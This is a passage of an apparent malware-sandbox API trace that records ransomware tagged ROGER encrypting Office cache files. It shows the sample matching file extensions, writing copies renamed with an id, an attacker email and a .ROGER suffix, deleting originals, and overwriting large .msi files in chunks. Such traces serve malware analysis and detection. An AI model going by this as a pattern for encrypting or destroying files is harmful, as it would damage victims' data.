(lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.008] lstrlenW (lpString=".doc") returned 4 [0046.008] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString=".docx") returned 5 [0046.009] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.009] lstrlenW (lpString=".pdf") returned 4 [0046.009] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString=".xls") returned 4 [0046.009] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString=".xlsx") returned 5 [0046.009] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.009] lstrlenW (lpString=".ppt") returned 4 [0046.009] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.009] lstrlenW (lpString=".zip") returned 4 [0046.009] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString=".rar") returned 4 [0046.009] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString=".bz2") returned 4 [0046.009] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.009] lstrlenW (lpString=".7z") returned 3 [0046.009] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.009] lstrlenW (lpString=".dbf") returned 4 [0046.009] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.009] lstrlenW (lpString=".1cd") returned 4 [0046.009] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.009] lstrlenW (lpString=".jpg") returned 4 [0046.009] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.010] lstrlenW (lpString=".doc") returned 4 [0046.010] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.010] lstrlenW (lpString=".docx") returned 5 [0046.010] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.010] lstrlenW (lpString=".pdf") returned 4 [0046.010] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.010] lstrlenW (lpString=".xls") returned 4 [0046.011] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.011] lstrlenW (lpString=".xlsx") returned 5 [0046.011] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.011] lstrlenW (lpString=".ppt") returned 4 [0046.011] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.011] lstrlenW (lpString=".zip") returned 4 [0046.011] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.011] lstrlenW (lpString=".rar") returned 4 [0046.011] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.011] lstrlenW (lpString=".bz2") returned 4 [0046.011] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.011] lstrlenW (lpString=".7z") returned 3 [0046.011] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.011] lstrlenW (lpString=".dbf") returned 4 [0046.011] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.011] lstrlenW (lpString=".1cd") returned 4 [0046.011] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.011] lstrlenW (lpString=".jpg") returned 4 [0046.011] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.011] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0046.011] lstrlenW (lpString="dwintl20.dll") returned 12 [0046.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0046.012] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=107912) returned 1 [0046.012] CloseHandle (hObject=0x368) returned 1 [0046.012] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0046.012] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.012] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0046.012] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.013] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0046.384] GetLastError () returned 0x0 [0046.384] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x1a588, lpOverlapped=0x0) returned 1 [0046.424] WriteFile (in: hFile=0x36c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0046.426] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.428] WriteFile (in: hFile=0x36c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.428] SetEndOfFile (hFile=0x36c) returned 1 [0046.429] CloseHandle (hObject=0x36c) returned 1 [0046.429] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.429] SetEndOfFile (hFile=0x368) returned 1 [0046.430] CloseHandle (hObject=0x368) returned 1 [0046.430] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.431] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0046.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.431] lstrlenW (lpString=".doc") returned 4 [0046.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.431] lstrlenW (lpString=".docx") returned 5 [0046.431] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.431] lstrlenW (lpString=".pdf") returned 4 [0046.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.431] lstrlenW (lpString=".xls") returned 4 [0046.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.431] lstrlenW (lpString=".xlsx") returned 5 [0046.431] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.431] lstrlenW (lpString=".ppt") returned 4 [0046.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.431] lstrlenW (lpString=".zip") returned 4 [0046.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.431] lstrlenW (lpString=".rar") returned 4 [0046.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.432] lstrlenW (lpString=".bz2") returned 4 [0046.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.432] lstrlenW (lpString=".7z") returned 3 [0046.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.432] lstrlenW (lpString=".dbf") returned 4 [0046.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.432] lstrlenW (lpString=".1cd") returned 4 [0046.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.432] lstrlenW (lpString=".jpg") returned 4 [0046.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.432] lstrlenW (lpString=".doc") returned 4 [0046.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.432] lstrlenW (lpString=".docx") returned 5 [0046.432] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.432] lstrlenW (lpString=".pdf") returned 4 [0046.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.432] lstrlenW (lpString=".xls") returned 4 [0046.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.432] lstrlenW (lpString=".xlsx") returned 5 [0046.432] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.432] lstrlenW (lpString=".ppt") returned 4 [0046.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.432] lstrlenW (lpString=".zip") returned 4 [0046.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.433] lstrlenW (lpString=".rar") returned 4 [0046.433] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.433] lstrlenW (lpString=".bz2") returned 4 [0046.433] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.433] lstrlenW (lpString=".7z") returned 3 [0046.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.433] lstrlenW (lpString=".dbf") returned 4 [0046.433] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.433] lstrlenW (lpString=".1cd") returned 4 [0046.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0046.433] lstrlenW (lpString=".jpg") returned 4 [0046.433] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.433] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0046.433] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0046.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0046.434] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=3702272) returned 1 [0046.434] CloseHandle (hObject=0x368) returned 1 [0046.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0046.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.434] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0046.435] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0046.435] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.435] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.435] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.701] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.701] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.708] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.708] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.708] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.722] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.723] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0047.069] SetEndOfFile (hFile=0x368) returned 1 [0047.070] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0047.071] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.072] WriteFile (in: hFile=0x368, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.073] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.073] WriteFile (in: hFile=0x368, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.077] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.077] WriteFile (in: hFile=0x368, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.079] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0047.079] CloseHandle (hObject=0x368) returned 1 [0047.079] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.082] lstrlenW (lpString=".doc") returned 4 [0047.082] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.082] lstrlenW (lpString=".docx") returned 5 [0047.082] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.082] lstrlenW (lpString=".pdf") returned 4 [0047.082] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.082] lstrlenW (lpString=".xls") returned 4 [0047.082] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.082] lstrlenW (lpString=".xlsx") returned 5 [0047.082] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.082] lstrlenW (lpString=".ppt") returned 4 [0047.082] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.082] lstrlenW (lpString=".zip") returned 4 [0047.082] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.082] lstrlenW (lpString=".rar") returned 4 [0047.082] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.082] lstrlenW (lpString=".bz2") returned 4 [0047.082] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.082] lstrlenW (lpString=".7z") returned 3 [0047.082] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.082] lstrlenW (lpString=".dbf") returned 4 [0047.082] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.083] lstrlenW (lpString=".1cd") returned 4 [0047.083] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.083] lstrlenW (lpString=".jpg") returned 4 [0047.083] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.083] lstrlenW (lpString=".doc") returned 4 [0047.083] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.083] lstrlenW (lpString=".docx") returned 5 [0047.083] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.083] lstrlenW (lpString=".pdf") returned 4 [0047.083] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.083] lstrlenW (lpString=".xls") returned 4 [0047.083] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.083] lstrlenW (lpString=".xlsx") returned 5 [0047.083] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.083] lstrlenW (lpString=".ppt") returned 4 [0047.083] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.083] lstrlenW (lpString=".zip") returned 4 [0047.083] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.083] lstrlenW (lpString=".rar") returned 4 [0047.083] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.083] lstrlenW (lpString=".bz2") returned 4 [0047.083] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.083] lstrlenW (lpString=".7z") returned 3 [0047.083] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.083] lstrlenW (lpString=".dbf") returned 4 [0047.083] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.084] lstrlenW (lpString=".1cd") returned 4 [0047.084] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0047.084] lstrlenW (lpString=".jpg") returned 4 [0047.084] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.084] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0047.084] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0047.084] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0047.084] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=868864) returned 1 [0047.084] CloseHandle (hObject=0x368) returned 1 [0047.084] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0047.084] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.084] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0047.085] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, 